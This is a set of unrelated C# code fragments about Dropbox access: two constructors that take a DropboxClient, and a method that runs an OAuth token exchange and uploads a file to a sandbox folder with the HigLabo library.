public ImageService(DropboxClient _dropBoxClient, IApartmentImageRepository _apartmentImageRep) { dropBoxClient = _dropBoxClient; apartmentImageRep = _apartmentImageRep; }
public DropboxFileSystem(PathOption pathOption, DropboxClient client, Encoding encoding = null) { _pathOf = new PathOf(pathOption, FileSystemType.Dropbox); _client = client; _encoding = encoding ?? new UTF8Encoding(false); }
public void UploadFile(byte[] content, string filename, string target) { ocl = DropboxClient.CreateOAuthClient(APP_KEY, APP_SECRET); ai = ocl.GetAuthorizeInfo(); RequestToken = ai.RequestToken; RequestTokenSecret = ai.RequestTokenSecret; redirect_url = ai.AuthorizeUrl; AccessTokenInfo t = ocl.GetAccessToken(RequestToken, RequestTokenSecret); Token = t.Token; TokenSecret = t.TokenSecret; DropboxClient cl = new DropboxClient(APP_KEY, APP_SECRET, Token, TokenSecret); HigLabo.Net.Dropbox.UploadFileCommand ul = new HigLabo.Net.Dropbox.UploadFileCommand(); ul.Root = RootFolder.Sandbox; ul.FolderPath = target; ul.FileName = filename; ul.LoadFileData(content); Metadata md = cl.UploadFile(ul); }